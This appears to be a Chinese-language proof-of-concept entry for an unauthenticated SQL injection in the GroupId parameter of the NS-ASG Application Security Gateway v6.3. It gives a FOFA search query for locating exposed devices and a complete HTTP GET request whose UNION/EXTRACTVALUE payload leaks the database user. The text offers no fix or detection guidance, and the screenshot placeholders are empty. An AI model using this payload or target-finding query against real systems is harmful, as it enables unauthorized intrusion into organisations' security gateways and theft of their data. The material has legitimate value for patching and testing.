W3-2网康科技-NS-ASG应用安全网关-SQL

漏洞描述：

网康科技 NS-ASG Application Security Gateway 6.3存在一个SQL注入漏洞，由于/admin/list_ipAddressPolicy.php中对参数GroupId没有进行严格的过滤和校验，未经身份验证的攻击者可以远程发起攻击获取服务器敏感数据。

影响版本：

NS-ASG 应用安全网关 v6.3

网站图片：

网络测绘：

fofa语法：

FOFA：app="网康科技-NS-ASG安全网关"

漏洞复现：

payload：

```
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+user()),0x7e)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图:
查询当前用户